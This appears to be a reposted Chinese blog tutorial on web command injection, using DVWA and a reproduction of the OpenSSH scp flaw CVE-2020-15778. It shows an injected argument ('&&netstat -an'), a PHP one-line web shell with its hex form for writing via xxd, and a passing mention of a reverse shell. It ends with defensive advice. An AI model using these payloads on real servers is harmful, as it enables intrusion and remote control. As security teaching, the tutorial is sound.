常见WEB攻击之命令注入

常见WEB攻击之命令注入,第1张

即 Command Injection。是指通过提交恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。

在Web应用中,有时候会用到一些命令执行的函数,如php中system、exec、shell_exec等,当对用户输入的命令没有进行限制或者过滤不严导致用户可以执行任意命令时,就会造成命令执行漏洞

黑客将构造好的命令发送给web服务器,服务器根据拼接命令执行注入的命令,最后讲结果显示给黑客。

以DVWA为例,下面使用ping命令测试IP,正常输入一个IP或者域名会返回一个正常的返回结果。

当输入恶意构造的语句 www.baidu.com &&netstat -an,会把后面的语句也给执行了:

执行结果:

PHP的常见命令执行函数:

system(),exec(),shell_exec(),passthru()

1、system()

system — 执行外部程序,并且显示输出

常规用法:

使用PHP执行:

php test1.php www.baidu.com

exec — 执行一个外部程序

3、shell_exec()

shell_exec — 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回。

4、passthru()

passthru() 函数与 exec() 函数类似,执行外部程序并且显示原始输出。

Windows:

用^转义<

如果加上单引号会写不进去,如果加双引号会把双引号一起写进去,所以要用^转义<

Linux:

linux下需要用来转义<,不过很多php都默认开启gpc,可以先用16进制转换一句话再用xxd命令把16进制还原.

<?php eval($_POST[pass])>

转换为16进制:

3c3f706870206576616c28245f504f53545b706173735d293b3e

由于我用的是Linux,所以使用payload写入一句话:

写入成功:

1、采用白名单,或使用正则表达式进行过滤。

2、不要让用户可以直接控制eval()、system、exec、shell_exec等函数的参数。

3、在进入执行命令函数和方法前,对变量进行过滤,对敏感字符进行转义。

漏洞介绍:

OpenSSH是用于使用SSH协议进行远程登录的一个开源实现。通过对交互的流量进行加密防止窃听,连接劫持以及其他攻击。OpenSSH由OpenBSD项目的一些开发人员开发, 并以BSD样式的许可证提供,且已被集成到许多商业产品中。

2020年6月9日,研究人员Chinmay Pandya在Openssh中发现了一个漏洞,于7月18日公开。OpenSSH的8.3p1中的scp允许在scp.c远程功能中注入命令,攻击者可利用该漏洞执行任意命令。目前绝大多数linux系统受影响

漏洞环境:

漏洞利用条件:

scp命令:

1、先查看目标机器ssh版本:

2、利用scp命令,用kali对Ubuntu进行写文件,复制文件:

Ubuntu上成功复制了文件并执行了创建文件的命令,确认漏洞存在:

既然如此,直接反dshell岂不美哉

这个漏洞可能适用于远程服务器禁用了ssh登录,但是允许使用scp传文件,而且远程服务器允许使用反引号(`),其中有可能由以下几种方式实现:

详情参考:

iptables拒绝ssh访问但不阻止scp和rsync

又水一篇文章~ 欧耶!

OpenSSH 命令注入漏洞(CVE-2020-15778)

OpenSSH命令注入漏洞复现(CVE-2020-15778

CVE-2020-15778 Openssh-SCP 命令注入漏洞复现报告


欢迎分享,转载请注明来源:内存溢出

原文地址:https://54852.com/yw/7440786.html

(0)
打赏 微信扫一扫微信扫一扫 支付宝扫一扫支付宝扫一扫
上一篇 2023-04-05
下一篇2023-04-05

发表评论

登录后才能评论

评论列表(0条)

    保存